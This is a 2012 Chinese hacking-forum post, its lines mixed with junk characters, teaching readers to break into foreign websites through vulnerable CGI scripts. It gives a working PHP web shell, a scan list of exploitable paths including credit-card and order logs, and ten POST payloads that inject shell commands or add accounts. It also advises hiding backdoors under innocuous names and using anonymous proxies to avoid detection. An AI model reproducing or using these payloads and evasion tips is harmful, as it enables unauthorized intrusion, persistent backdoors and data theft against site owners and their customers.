中国网络渗透测试联盟

标题: CGI 脚本入侵快速上手+脚本使用方法 [打印本页]

作者: admin    时间: 2012-9-13 16:54
标题: CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法
9 c2 d1 o5 g( e) b大家好 我是bboyhip  只是一名菜菜的exploiter0 A2 d6 i2 N3 r% L" x
很开心来到贵论坛. j9 d- G' U; G) l/ T. v
这里让我感觉 很有技术交流的感觉
$ ]7 F# }0 Q6 B) X2 `我会长长来玩的
+ c' T1 q6 n5 {前言:
/ B8 V0 \+ d2 e8 i以下讲解针对欧美日本网站0 q/ P0 L% i. t, X0 r
當我們在做滲透分析的時候 方法有很多
5 G; n6 x5 Z5 F; G- D我门都知道 国外伺服器大多是linux 平台8 a# U% a1 y6 D. c) }  _
所以有很多网站程序有6成都会使用cgi 脚本来管理
' u9 R) }$ K5 g0 l3 i9 w5 M目录为/cgi-bin/" @9 Q: V( w% ^, e: @) m

. a! `6 P% @  @! K' g% d# a, {/ ~8 `只是个人在实务上一些经验
; Y9 F$ f$ ^2 J' z0 m  _写的不好 请多多见谅喔 ' M2 d2 S# S. ^. Z' H9 L/ W
在这里我简单分为几个部份一定要會的
- N+ p- v; r( M: W; j/ ]; z2 l# s& b讲解一下1 k$ p8 Z8 {6 A
让没有基础的人很容易上手
4 |8 p0 |% U9 W" j
, C' i( ~  ^& ^+ {2 Y以下内容跟帖回复才能看到! ^1 Z9 E5 [% b" ~
==============================. i3 z( Z! A& B5 ^; v7 g* O. `
! h! E( X- h9 A1 B# u
第1部份: 何谓Shell?
! z. l" I  q( K5 K; DShell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
* K8 `3 i9 \& i) a7 a! l. cA shell is the program which reads user input from the command line and executes actions based upon that input.
8 J0 ?$ }2 A7 k* d意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.3 u+ m& q4 l7 D$ d) U3 h
8 W9 j- E8 y$ z" _" C8 O$ n1 k! q. |
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
1 z% v7 j% S" F1 m要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
0 g1 E, W9 i* D4 A# ?* C$ {8 y所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
& L+ y' Y; H) ?  H
- V& L5 t/ O& z3 B1 K第2部份: Unix 指令
4 \" {. z+ z/ Z. [6 B& @2 H# U以下是一些常见及重要的指令:( U5 c; v0 n& r! I
pwd: 显示当前目录, 即是後门/程式所在的位置1 S+ L2 {/ J: ?  H+ o5 N, _
如 /home/www/site.com/cgi-bin/
3 B) b8 q( x& r% `# L. s, m, _ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
3 D& Y+ c$ m" e) x; I+ G# ^- Gls -al :详细列出档案资料(当前目录)
5 U* E* n8 A) p3 N& kls /: 列出根目录* H3 A3 g  U% \1 M! j. z1 c" k
ls /etc: 列出/etc的资料夹及档案" p& e5 }+ }' ~  w) K/ ~7 I
ls ../ -al: 详细列出上一层的资料夹及档案, }* N. h" K, ?3 ^
cat: 显示档案内容
/ j9 e8 P( A/ q8 a+ Qcat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)5 h& [; }3 ~) f8 L& b
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
$ n2 D8 h: D2 ?; [- f; [who: 显示谁login 至系统
% P" p# q3 I- [$ v7 O- ^: ~+ sman: 显示指令用法  
; q) e. P8 n& c" r; Wman ls: 显示ls这指令的用法  
& p$ h! V% J1 J1 j1 J* B- z8 rmkdir 建立目录5 D2 N1 u+ @3 A( J; n
rmdir 删除目录0 B4 k1 B$ X( H8 x
mv 移动档案  S* U) G2 U! o6 p8 ?+ d1 r
rm 删除档案
4 ^) t$ x4 h* H% u* Q' y
2 y8 v' v- W, C, q( n第3部份: Shell的使用
3 c% u( R) M9 h, H6 X例如:
4 O$ H5 \, r: t3 Q) R: j1 R+ r7 phttp://site.com/refer.php
: y; t. _: J& F1 _0 }这是我的後门, 原代码如下:
# z* h1 j2 Z9 y; N( Z: L3 x<Form Action="#" Method="POST"> 8 i( c4 G' b  @3 ^4 r
<Input type="text" name="cmd"> # ^/ r0 v* i; Q- S" {6 R9 ^. F9 |
<Input type="Submit">
2 M$ u1 u: A5 u# S& F4 I</Form>
3 V( p2 n. S4 E+ q% d: B9 T1 \5 N<?php
" I" T) |5 N7 d2 g+ @$cmd = $_POST['cmd'];
; F, E9 _/ h( `1 d3 |9 f$Output = shell_exec($cmd); ) Q- A+ {3 @" S. H
echo $Output; ) Q, J# _0 P7 X
?> ( k8 a3 a0 g2 O
输入pwd, 可得到绝对路径:8 U- r# ~" i% J7 k" x1 G5 j
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com. {1 A$ g0 \" V

: i6 |: t" h. e; n7 L! V4 b第4部份: 注意事项
, i# ], a2 m9 d  o- 使用匿名代理, 保障自己' m6 a/ \% O0 v. y
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
- @% q) w( J- v5 Q, L- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等., E7 z$ k. L' j, y7 y
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
& S- x9 X1 M1 |" [- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,6 `0 B4 p' N$ x1 c. I  ]
不容易被发现.7 x5 _9 i- O, K0 a& R3 {
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
$ q" w  ^, b3 F) n! t: T针对网站的渗透分析方法太多了$ f5 {! E; i+ _% v& a
这篇文章的重点是cgi 脚本攻击
+ k5 w6 ?/ ~3 |+ r1 M" V所以我用简单的叙述形容
- M0 e$ y+ T0 g7 N1 Q6 e开始讲解脚本入侵过程:
  x; v5 S' x: d" ^在这里提供一些方法思路让大家学习一下
0 j1 m+ k8 b; p; ]. O7 h, k0 ~; j% r" C4 w# c2 ~) @$ V& M" S
1.一开始对一个网站进行cgi漏洞扫描% J6 D- ?) l" X  C3 S% w) x. E
我们需要的东西有
3 W8 s& E* v& T+ r扫洞工具 如:triton..等等
# |. f: N, Y+ S" o( IE表5 T) M# @# N( v* `
8 P9 _$ D( G7 S$ y0 N+ E. o
/cgi-bin/add-passwd.cgi ; ~9 V; P* @4 z7 d# y
/WebShop/templates/cc.txt
( `+ i" m$ C2 B2 ?( _6 H  u/Admin_files/order.log* I  f: _+ B, y) o& M8 \: [
/orders/mountain.cfg5 y# N5 r% b1 W4 J% ^
/cgi-sys/cart.pl7 L: D1 J% t* }; ^
/scripts/cart.pl
  t" o1 Z5 k3 O6 |! F# q$ y/htbin/cart.pl- Q9 O+ D( a; q" |. V+ h* B
E表来源可以是网路收寻或是自己的0 day
; y2 a7 ~$ b* P& K: l
: ?5 X! y- ^5 h2.怎样确认扫到的洞 是真的还假的?
9 g, v: }/ W1 z! n' J8 s7 h# a% V举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
. o2 N/ N! }' ]/ `一般都是在IE里先看一下的,记住这个返回码哦
, W5 h8 _. ?- E% CERROR:This script should be referenced with a METHOD of POST.- Q9 q; d6 n! A5 h( p2 q
没有返回一定是假的
3 N( B7 P( i" _3.重来来了 很多人都会问我- Y" T' |, l& x# T' o) S- `+ X* k
他扫到很多洞 但是不会使用
# d3 u3 P  t- R7 H因为这些漏洞 使用的语法 称为post + F- _" ^2 v6 x. L2 ?. N6 d- G
我们要找post 的方法很多- V' X! k: ]& \# {9 u5 n! \
可以是源代码分析 找出介质/ S, c; l+ E& h. b
或是用抓包工具 抓他的语法...等等5 W; s4 e2 V$ B$ U, n6 g$ N
( R9 a; y. ~9 \2 g8 W; B0 X
以下我提供10个 cgi 洞以及使用方法post
9 v3 o% Q# `/ i  E让大家可以针对网站去做扫描  # C6 n, u8 q4 d7 M  R6 V6 M
/index.cgi' M. n& c1 ~) X) x: q3 N4 }. ]7 F# W8 n
wei=ren&gen=command; e: G8 X; Q, c% n6 K$ n
/passmaster.cgi, i: {3 c* {" v" J
Action=Add&Username=Username&Password=Password
1 d0 Q; V7 f, A0 K, X- |* T' Y4 w/accountcreate.cgi/ l7 ?, {2 p! W! T( A! i
username=username&password=password&ref1=|echo;ls|( D4 }+ l! t" Q# D8 B3 R" e
/form.cgi! P& G, x0 t7 E; k5 m" |
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
' s! j) _% ^8 {# _2 m# N) r/addusr.pl8 B+ h3 G/ g1 ]; ~5 L% w. M
/cgi-bin/EuroDebit/addusr.pl: C6 \3 y! B9 |  E
user=username&pass=Password&confirm=Password
, J* b( z" \8 p% W; g/ccbill-local.asp
4 D; d; f- F" W& Apost_values=username:password
7 W* ]3 Z/ h4 A. w& C& f7 q* F2 R  q/count.cgi
9 k+ U7 G* N5 Z" spinfile=|echo;ls -la;exit|
  z6 l# _& U, ^/recon.cgi
- D+ C0 N* `/ ~, `/recon.cgi?search& h1 M# d* C3 l
searchoption=1&searchfor=|echo;ls -al;exit|
0 o6 n2 `0 P; b" @6 p0 L5 b/verotelrum.pl% ]* ^) s+ z0 U; y- q- D% i
vercode=username:password:dseegsow:add:amount<&30>
; _3 N! }- k1 e/af.cgi_browser_out=|echo;ls -la;exit;|
% Y; _% ^" C4 D( }. f4 B; @# O- ~
5 p- m: A* k5 y  ~, X2 I今天就讲到这  感谢大家支持$ W* `" _8 ?2 ^9 z4 _# s





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2